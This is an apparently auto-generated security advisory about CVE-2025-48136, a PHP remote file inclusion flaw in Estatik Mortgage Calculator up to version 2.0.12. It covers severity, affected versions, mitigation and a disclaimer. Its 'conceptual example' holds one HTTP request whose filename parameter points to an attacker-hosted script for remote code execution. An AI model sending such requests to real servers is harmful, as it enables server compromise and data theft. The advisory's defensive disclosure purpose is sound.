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CVE-2025-48136: High-Risk PHP Remote File Inclusion Vulnerability in Estatik Mortgage Calculator

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Overview

The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (‘PHP RFI’), which is a major security concern for web applications. The vulnerability can lead to system compromise or data leakage, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-48136
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

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Product | Affected Versions

Estatik Mortgage Calculator | All versions through 2.0.12

How the Exploit Works

The CVE-2025-48136 exploit works by leveraging a flaw in the handling of filenames for include/require statement in the PHP application. An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the ‘filename’ parameter:

GET /Estatik_Mortgage_Calculator.php?filename=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the ‘filename’ parameter is modified to include a remote file (‘malicious_script.txt’) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.

Mitigation Guidance

Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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